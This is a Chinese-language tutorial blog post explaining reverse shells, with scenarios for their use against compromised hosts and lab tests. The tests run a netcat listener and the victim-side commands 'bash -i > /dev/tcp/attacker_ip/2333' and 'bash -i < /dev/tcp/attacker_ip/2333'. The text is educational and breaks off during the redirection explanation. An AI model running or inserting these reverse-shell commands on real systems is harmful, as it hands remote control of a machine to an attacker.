反弹shell那些事儿

反弹shell(reverse shell)就是控制端监听在某TCP/UDP端口 , 被控端发起请求到该端口 , 并将其命令行的输入输出转到控制端 。
攻击者指定服务端 , 受害者主机主动连接攻击者的服务端程序 , 就叫反弹连接 。reverse shell与telnet , ssh等标准shell对应 , 本质上是网络概念的客户端与服务端的角色反转 。
深入理解文件描述符和重定向才能更好弄懂反弹shell 。
场景

1.某客户机中了你的网马 , 但是它在局域网内 , 你直接连接不了 。
2.目标机器的ip动态改变 , 你不能持续控制 。
3.建立一个服务端让恶意程序主动连接 , 持久化 。
4.防火墙受限 , 不能由外向内建立连接(不接受外部连接) 。(通过传输层协议的全双工通信实现交互)
备注:
全双工传输 (Full-Duplex Transmissions)
交换机在发送数据的同时也能够接收数据 , 两者同步进行 , 这好像我们平时打电话一样 , 说话的同时也能够听到对方的声音 。目前的交换机都支持全双工 。
单工数据传输只支持数据在一个方向上传输;在同一时间只有一方能接受或发送信息 , 不能实现双向通信 , 举例:电视 , 广播 , 计算机与打印机之间的通信是单工模式 。
半双工数据传输允许数据在两个方向上传输,但是,在某一时刻,只允许数据在一个方向上传输,它实际上是一种切换方向的单工通信;在同一时间只可以有一方接受或发送信息 , 可以实现双向通信 。举例:对讲机 。
WIKI的定义
全双工(full-duplex)的系统允许二台设备间同时进行双向数据传输 。一般的电话、手机就是全双工的系统 , 因为在讲话时同时也可以听到对方的声音 。全双工的系统可以用一般的双向车道形容 。两个方向的车辆因使用不同的车道 , 因此不会互相影响 。
实验测试一:
攻击端:
[root@attacker]# nc -lvp 2333            //第一步Connection from victim_ip:38712Docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255        ether XXXXXXXXXX  txqueuelen 0  (Ethernet)        RX packets 0  bytes 0 (0.0 B)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 0  bytes 0 (0.0 B)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 172.22.181.6  netmask 255.255.240.0  broadcast 172.22.191.255        inet6 fe80::216:3eff:fe0e:9d06  prefixlen 64  scopeid 0x20<link>//测试结果:实现了将受害端的标准输出重定向到攻击端 , 但是还没实现用命令控制受害端 。受害端:
[root@victim]# bash -i > /dev/tcp/attacker_ip/2333  //第二步[root@victim]# ifconfig                //第三步[root@victim]#测试二:
攻击端:
[root@attacker]# nc -lvp 2333         //第一步Connection from victim_ip:38286hostname                   //第三步(攻击端执行命令)idwhoami受害端:
[root@victim]# bash -i < /dev/tcp/attacker_ip/2333    //第二步[root@victim]# hostname    attacker[root@victim]# iduid=0(root) gid=0(root) groups=0(root)[root@victim]# whoamiroot[root@victim]#//测试结果:实现了将攻击端的输入重定向到受害端 , 但是攻击端看不到命令执行结果 。底层原理输出重定向 > , 相当于 1> , 输入重定向 < , 相当于0< , 如果要使用错误输出 , 写成 2> 。
例如 , 把正确的结果放到test.txt , 而把错误的结果放到test2.txt文件中:
反弹shell那些事儿

文章插图
 
在正常输入的命令结尾加上2>&1 , 这个语句可以理解为将错误输出与标准输出一致 , 也就是将他们输出到一个文件中:


推荐阅读